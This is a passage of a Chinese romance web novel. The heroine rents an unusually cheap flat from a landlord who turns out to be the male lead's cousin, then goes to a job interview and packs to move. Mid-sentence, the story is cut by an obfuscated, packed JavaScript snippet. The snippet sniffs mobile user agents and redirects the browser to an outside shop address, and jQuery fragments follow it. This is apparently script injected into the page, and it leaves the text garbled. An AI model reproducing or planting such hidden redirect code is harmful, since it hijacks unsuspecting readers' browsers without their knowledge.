秦枝又接着解释说:“房东既然是傅逢宁的话,那就不奇怪啦!他家底丰厚着呢,大概就是像房东说的那样,可能觉得手头房子闲置也是闲置,只想找个合眼缘的人租出去,租金多少人家真不在意……”
最后,路思游和秦枝仔仔细细里里外外检查一圈,确定各种设施都没有问题,又拍照记录下燃气水电表。和房东小傅签订一式两份租赁合同。
直到签完名字,她仍有些恍惚,以她两千块钱这种囊中羞涩的价格,能在礼西区这个地段租到满星湾这种品质的房子,对她来说真是“天上掉馅饼”的存在。
秦枝挽着她的胳膊晃了晃:“这下你放心了吧?房东可是傅逢宁诶,淮则一中的传奇人物,不至于会诈骗你吧?退一万步讲,如果他人品不行真是个骗子的话,我就帮你把他挂在校园墙上,让他社死!”
说到最后,语调不由得上扬,路思游刚想示意她声音小点,就看见傅逢宁的视线忽地飘了过来。
她简直尴尬到脚趾扣地。
路思游先签订了一年的时间,房东小傅临走时把房子钥匙交给她,互相留了电话号码,语气平和地嘱咐:“入住后如果房间设施发现任何问题,可以打电话联系我,我会负责处理。”
她还记着刚才背后蛐蛐他的事情,这会儿没敢直视他,只能低头接过钥匙,点头:“好,我知道了。”
回去的时候,经过对门紧闭着的那扇大门,秦枝随口问了一嘴:“刘哥,对面房子没有人住吗?”
刘哥瞥了眼门牌,笑道:“这套啊?房东暂时没打算出租,空着呢。”
路思游闻言,反倒松了口气。其实没有邻居也挺好的,不用出门抬头低头打招呼,不用费力维护邻里关系,也免去了邻里之间的摩擦或者矛盾。
——
祁熠洗完澡从浴室出来,黑发湿漉漉的还在滴水,水珠沿着下颚滑进t恤领口,他随手拿起干毛巾擦拭头发,另一只手按手机扫了眼时间。
已经是下午两点,他约摸着时间差不多了。他没回房间,随意半躺进客厅那张宽大的沙发上,一边打游戏一边等待。
一局游戏结束,玄关响起密码开锁的声音。
祁熠从战况中抬眸望去,傅逢宁推门而入,手中提份法式黄油披萨走进来,随手将袋子搁置在大理石茶几上。
他退出游戏,手机丢在一旁:“谢了,这个,”抬手示意桌上的食物,“还有,礼西那边的房子。”
傅逢宁根本不吃这套:“口头感谢就不必了,”他坐下来,声线平静,却带些调侃,“不如再叫一声‘哥’听听?比什么谢谢都管用。”
傅逢宁是祁熠的表哥,两人的妈妈是亲姐妹,傅逢宁比他大了一岁,准确来说,应该是十一个月零二十六天。
甚至不满一岁,所以自从两个人上了高中,他意识到微不足道几乎可以四舍五入掉的年龄差,就再没心甘情愿地喊过一声“哥哥”。
每次过年或者家庭聚会,他被他妈妈撺掇叫傅逢宁“哥”,都被他以“只大几个月算什么哥”搪塞过去,然后就会得到傅逢宁那句万年不变的“大一分钟也是哥”的回复。
想到日后可能还要再麻烦这位表哥,于是祁熠打算勉为其难“屈尊”一次,眼睛一挪,就看见傅逢宁拿出手机打开录音备忘录。
祁熠没忍住翻了个白眼,“啧。”然后毫不客气的拆穿他的小伎俩,语气里多少带着点嫌弃:“傅逢宁你幼不幼稚?多少年了,还来小时候这套把戏,当我是七八岁小孩儿?”
计谋被拆穿,傅逢宁面不改色地收回手机,当一切没发生过,他瞥沙发上的祁熠,话题一转问:“小姨让我问你,真不打算留在美国?听说你收到那边好几个offer了。”
祁熠捏起一块披萨,慢条斯理地咬上一口,过了会儿才简短地嗯了一声。
傅逢宁看着她他,想起今天在满星湾那位女孩,能让祁熠开口找他帮忙的人,这么多年,似乎也只听说那一个。
回想起高中祁熠的“失恋”名场面,想起那一天在机场,自己这位天之骄子般的表弟,发现自己全平台的联系方式挨个被拉黑后,那副魂不守失魂落魄的模样。
傅逢宁语气淡淡却一针见血,直击要害:“今天我见的,就是之前你被拉黑,然后你就在机场要死要活的那位?”
祁熠没接这个话茬,他扯扯嘴角,心想傅逢宁这是哪壶不开提哪壶。
见他没吭声,转而道:“留在国内也好,不少人惦记着你。”
桌子上的手机响了,是傅逢宁的。
他起身走到阳台边接听,没连耳机,能从稍稍泄露的声音中听出来,电话那头似乎是个女生。
他原本清冷的声线都不自觉地柔和了几分,像初冬清晨雾气尽散。低头交谈时,侧脸时不时染上一些笑意,丝毫不见平日那副冷冷淡淡的模样。
通话时间不长,傅逢宁挂断后,便准备离开。
“难得来一趟礼安,这就急着走?”察觉到动静,祁熠从屏幕里抬起眼,“不在我这儿多呆两天?”
傅逢宁对镜子整理袖口,语气自然:“回淮则接个人。”
祁熠挑眉,了然道:“接刚才打电话的那个女生?”
公式正确,傅逢宁嘴角弧度加深,没否认,算是默认。
“哦,对了,我妈让我跟你说,”他忽而想起什么,回过身提醒:“过段时间,傅子越开始放寒假,他要来你这里。”
祁熠仿佛像听到了什么惊天大“噩耗”,桌子上的披萨也没兴趣接着吃,他忍不住手腕撑额,有些头疼:“你才是傅子越亲哥,他怎么从小到大都像个小跟屁虫,就爱缠着我跑?”
“你自己不清楚?”傅逢宁手指向客厅旁边的游戏架,表情仿佛在说“你问我不如去问你的游戏机。”
“行吧。”他认栽般叹了口气,重新靠回沙发,“他什么时候要过来,你提前跟我说声,我好做点心理准备……”
连着一周的失眠加准备面试,在面试当天,路思游早起终于才有时间照镜子时,被自己惊了一跳,发现自己眼底两片浓重的青黑。
秦枝买完早饭,也被惊得捏紧包子,连忙把手里装着粥的塑料袋放在她桌前:“思游你这黑眼圈也太吓人了,你快盖一下吧,不然看着太憔悴了。”
正追剧的周开妍闻声探出头来,二话不说从抽屉里拿出一瓶未拆包装的遮瑕递过来:“你用我的吧,我刚买的,这瓶遮瑕效果特别强。”
看见大家大早上的都在认真帮她出谋划策,她感觉到心里暖暖的,这几天的疲惫都被驱散了几分。
打车来到新读者出版公司大楼,路思游到大厅前台处领面试号,面前只有两三个人,于是她站到他们后面排队。
队伍最前面一个男生急匆匆的模样,正接着电话,语速飞快:“我知道我知道,我正在领号,等我一小时,我马上回去……”
男生刚领到面试号,就转身忙不迭往楼梯间冲,根本没注意到他后面的女孩,结结实实地朝她撞过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021290|193790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来。
女生躲闪不及,向后踉跄几步。
路思游就排在她身后,见状下意识地伸手,稳稳地扶住她的胳膊。
男生头发很短,戴了双黑框眼睛,这才看见自己后面还站着个女生,意识到自己撞到人,他连忙挂断了电话。语气有些急,连忙道歉:“对不起啊对不起,你还好吧?”
被他撞到的女生连连摇头,摆摆手安慰道:“没事儿没事儿。”
前面的女生站稳后,回过头友好一笑,女生齐肩长发,长着张娃娃圆脸,朝她道谢:“刚才谢谢你扶我一把啊,要不然我今天肯定该摔了。”
路思游也朝她笑笑:“不客气,应该的。”
领完面试号码,这班电梯正好开着门,路思游赶紧挤进了电梯。
狭小的空间里,察觉到身后有个小手戳了戳她,她回头看过去,是刚才的娃娃脸女生。
娃娃脸女生从小包里翻找东西,她摊开手心,上面放着颗四叶草糖果,然后伸手递过来。
“这是糖果吗?”
娃娃脸女生笑吟吟的:“这不是普通的糖哦,这是四叶草糖果,四叶草代表好运,祝你今天面试顺利通过呀。”
她接过,拆开糖纸,是薄荷味的:“谢谢,你也是。”
等待面试时,走廊里不少人都捧着打印纸做最后的复习,她也不例外。她还专门记了些高频通用面试题目,如果抽到的题目太刁钻,她甚至预备了一些万能答题话术。
轮到她面试,她进去前检查了下仪容外表,进去先递交简历,简单的自我介绍一番。面试官问了她几个问题,都是她提前预备过的,虽然不是回答得不算惊艳四座洋洋洒洒,但勉强都回答上了,算是正常发挥。
面试结束,她去洗手间,竟又碰到刚才那个娃娃脸女生,透过水龙头哗啦啦的声响,娃娃脸女生主动搭话:“你是礼大的吗?”
路思游点头:“对的,你怎么知道?”
娃娃脸女生笑起来,眼睛弯弯:“在礼安附近上大学自然不是礼大就是礼科的。”
路思游:“你呢?”
娃娃脸女生:“我不是礼大的诶,我在淮则大学读书。”
“淮则?那过来一趟挺远的。”路思游甩甩水珠,思考。
“对啊,所以我一大早赶地铁过来的。”
面试完,等待通过的时间,她没有太忐忑,第三天,她就在邮箱看见了录用邮件。
接下来的几天,路思游开始陆陆续续收拾打包行李,因为一直在学校住,所以东西并不多,也比较简单,没有什么家具电具之类的要带走,大多都是一些衣服被子书本之类的。
路思游将被褥被子厚衣服放进压缩袋,压缩成扁扁的长方块,又将瓶瓶罐罐零零碎碎书本等一些塞进纸箱。
最后她看着床下的打包的行李,是她大学四年的全部家当,如今全都被装进三个纸箱三个压缩袋,一个行李箱中,东西倒是挺少。
路思游和寝室的人去食堂吃午饭,餐桌上,姜柯骋得知她要搬出学校去外面住,提出要帮她搬运行李,开车送她去礼西。
被她委婉地谢绝:“谢谢,不过我东西很少,而且室友会帮忙的,我叫辆小货车就可以,很方便的。”
姜柯骋放下筷子,看着她,语气几分玩笑几分认真:“你看,你搬家叫车要付费,不如把这份运费留下来,改天请我吃饭?怎么样?”
秦枝吃了口米饭,抬头直点头,嘴里含糊地接话:“好有道理!”